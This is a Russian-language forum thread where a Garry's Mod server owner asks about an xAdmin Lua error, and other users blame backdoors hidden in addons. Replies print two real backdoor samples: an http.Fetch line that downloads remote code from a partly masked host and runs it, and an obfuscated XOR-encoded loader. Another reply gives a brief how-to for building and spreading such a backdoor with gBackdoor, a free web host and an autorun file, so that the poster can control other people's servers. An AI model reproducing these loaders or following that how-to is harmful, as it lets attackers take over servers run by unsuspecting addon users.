• Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами Публичной оферты Проекта NetZONA.org: https://netzona.org/help/public-offer/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами использования Ваших файлов cookie на Проекте NetZONA.org: https://netzona.org/help/cookies/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с Политикой конфиденциальности Проекта NetZONA.org: https://netzona.org/pages/privacy-policy/

  • Ответы на основные вопросы: https://netzona.org/threads/populjarnye-voprosy-i-otvety-na-nix.6122/

  • Приветствуем на сайте, Гость! Приобрести (купить) Информационную услугу (в том числе группу "Проверенный") на Проекте NetZONA.org: https://netzona.org/account/upgrades

Проблемы с xAdmin

Nikitoc_Verc

Пользователь
Регистрация
19 Мар 2020
Сообщения
38
Реакции
0
Баллы
16
[ERROR] addons/xadmin/lua/cl_xadminmenu.lua:522: attempt to index a nil value
1. func - addons/xadmin/lua/cl_xadminmenu.lua:522
2. ShowTab - addons/xadmin/lua/cl_xadminmenu.lua:151
3. DoClick - addons/xadmin/lua/cl_xadminmenu.lua:66
4. unknown - lua/vgui/dlabel.lua:237
Это возникает когда я набираю в консоли команду
xAdminToggleMenu
И нажимаю Ranks
 
Смотри в серверной части луашники. У меня было такое, когда в луа был бэкдур. Надеюсь как их искать ты знаешь
 
Та емае. Короче они все (бэкдуры) в серверной части луа. Смотришь сначала в папке autorun все луашники (то есть открыл первый луа файл и ищешь типо среди кода такое как: kvackdoor, local G_ ну короче оно будет понятно я просто забыл как пишутся бэкдуры; просто набор всякого дерьма между строк кода) либо же в правой части ( то есть он где-то пробелы поставил чтоб такие как ты не нашли и написали «пакость»)
 
Ищи по ключевым словам (так делал я)

смотря откуда аддон скачивал, если с вериликс, то может попасться примерно такой (звездочками скрыл всё лишнее):

Lua:
timer.Simple(1, function() http.Fetch("https://****.cz/link/fuck.php?key=jOyMh*****utxUFYBktf",
function(b) RunString(b, ":", false) end)end)

самые распространенные:


Lua:
RunString([==[
enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,11,26,13,15,66,15,22,67,0,5,2,7,67,10,25,15,7,66,28,4,28,83,7,9,21,81,4,92,11,26,33,25,2,22,46,39,36,41,0,2,84,6,28,27,37,15,78,64,76,10,25,2,15,24,5,3,2,68,14,69,76,62,25,2,63,24,30,5,2,11,68,14,64,76,78,86,78,64,76,10,13,0,31,9,69,76,9,2,8,69,76,9,2,8,69,76,10,25,2,15,24,5,3,2,76,62,25,2,36,45,63,36,35,14,68,69,76,9,2,8}
function RunHASHOb()
    if not (debug.getinfo(function()end).short_src == "SDATA") then
        CompileString("print('Bad source')", "error",true)()
        return
    end
    for o=500,10000 do
        if o ~= string.len(string.dump(RunHASHOb)) then
            SDATA_DATA_CACHE = 10
            CompileString("for i=1,40 do SDATA_DATA_CACHE = SDATA_DATA_CACHE + 1 end", "RunString")()
            if SDATA_DATA_CACHE < 40 then
                for i=1,100 do
                    CompileString("print('Oops, seem like you have broken this file')","Oops")()
                end
                return
            end
            continue
        else
            xpcall(function()
                pdata = ""
                xpcall(function()
                    for i=1,string.len(string.dump(string.char)) do
                        while o == i do
                            o = o + 100000
                        end
                    end
                end,function() PJDATA_SUB = false end)
                if PJDATA_SUB then print("Error while ceating payload to inject") return end
                for i=1,#enccodetbl do
                    pdata=pdata.. string.char(bit.bxor(enccodetbl[i], o%150))
                end
                if debug.getinfo(RunString).what ~= "C" then return end
                PJDATA_SUB = true
                for i=1,string.len(string.dump(CompileString)) do
                    while o == 1050401 do
                        o = o + 4510
                    end
                end
            end,function()
                xpcall(function()
                    local debug_inject = CompileString(pdata,"0:FFFFFFFF")
                    pcall(debug_inject,"LUA_STAT_CLIENT")
                    pdata = "\00"
                end,function()
                    print("Error while injecting code to luajit::Client")
                end)
            end)
        end
    end
end
pcall(RunHASHOb)
]==],"SDATA")

Бэкдоры не мои, это найденные мной в моих аддонах, так что не бейте. И, если что - не шарю, как они создаются
 
Ищи по ключевым словам (так делал я)

смотря откуда аддон скачивал, если с вериликс, то может попасться примерно такой (звездочками скрыл всё лишнее):

Lua:
timer.Simple(1, function() http.Fetch("https://****.cz/link/************.php?key=jOyMh*****utxUFYBktf",
function(b) RunString(b, ":", false) end)end)

самые распространенные:


Lua:
RunString([==[
enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,11,26,13,15,66,15,22,67,0,5,2,7,67,10,25,15,7,66,28,4,28,83,7,9,21,81,4,92,11,26,33,25,2,22,46,39,36,41,0,2,84,6,28,27,37,15,78,64,76,10,25,2,15,24,5,3,2,68,14,69,76,62,25,2,63,24,30,5,2,11,68,14,64,76,78,86,78,64,76,10,13,0,31,9,69,76,9,2,8,69,76,9,2,8,69,76,10,25,2,15,24,5,3,2,76,62,25,2,36,45,63,36,35,14,68,69,76,9,2,8}
function RunHASHOb()
    if not (debug.getinfo(function()end).short_src == "SDATA") then
        CompileString("print('Bad source')", "error",true)()
        return
    end
    for o=500,10000 do
        if o ~= string.len(string.dump(RunHASHOb)) then
            SDATA_DATA_CACHE = 10
            CompileString("for i=1,40 do SDATA_DATA_CACHE = SDATA_DATA_CACHE + 1 end", "RunString")()
            if SDATA_DATA_CACHE < 40 then
                for i=1,100 do
                    CompileString("print('Oops, seem like you have broken this file')","Oops")()
                end
                return
            end
            continue
        else
            xpcall(function()
                pdata = ""
                xpcall(function()
                    for i=1,string.len(string.dump(string.char)) do
                        while o == i do
                            o = o + 100000
                        end
                    end
                end,function() PJDATA_SUB = false end)
                if PJDATA_SUB then print("Error while ceating payload to inject") return end
                for i=1,#enccodetbl do
                    pdata=pdata.. string.char(bit.bxor(enccodetbl[i], o%150))
                end
                if debug.getinfo(RunString).what ~= "C" then return end
                PJDATA_SUB = true
                for i=1,string.len(string.dump(CompileString)) do
                    while o == 1050401 do
                        o = o + 4510
                    end
                end
            end,function()
                xpcall(function()
                    local debug_inject = CompileString(pdata,"0:FFFFFFFF")
                    pcall(debug_inject,"LUA_STAT_CLIENT")
                    pdata = "\00"
                end,function()
                    print("Error while injecting code to luajit::Client")
                end)
            end)
        end
    end
end
pcall(RunHASHOb)
]==],"SDATA")

Бэкдоры не мои, это найденные мной в моих аддонах, так что не бейте. И, если что - не шарю, как они создаются
Если интересно как их шифруют:
Lua cryptor (в инете есть видео а так же есть сайты на которых можно шифровать бэки ( к примеру как во втором у тебя коде, где множество цифр)
А первое это просто ключ к dashboard.
Как создать его?
есть просто способ:
Качаешь gBackdoor, берёшь халявный хост для сайта (к примеру 000webhost) , в инструкции есть всё. Из инструкции берёшь почти похожее что у тебя в первом коде, только ссылки будут другие и пихаешь это в авторан. Когда какой-то лох скачает и поставит твой аддон на свой сервер, на дашборде будет указан сервер и айпи. А дальше через консоль дашборда делай что душе угодно
 
Если интересно как их шифруют:
Lua cryptor (в инете есть видео а так же есть сайты на которых можно шифровать бэки ( к примеру как во втором у тебя коде, где множество цифр)
А первое это просто ключ к dashboard.
Как создать его?
есть просто способ:
Качаешь gBackdoor, берёшь халявный хост для сайта (к примеру 000webhost) , в инструкции есть всё. Из инструкции берёшь почти похожее что у тебя в первом коде, только ссылки будут другие и пихаешь это в авторан. Когда какой-то ********* скачает и поставит твой аддон на свой сервер, на дашборде будет указан сервер и айпи. А дальше через консоль дашборда делай что душе угодно
Нихера не понял но очень интересно!
 
Главная Регистрация
Назад
Сверху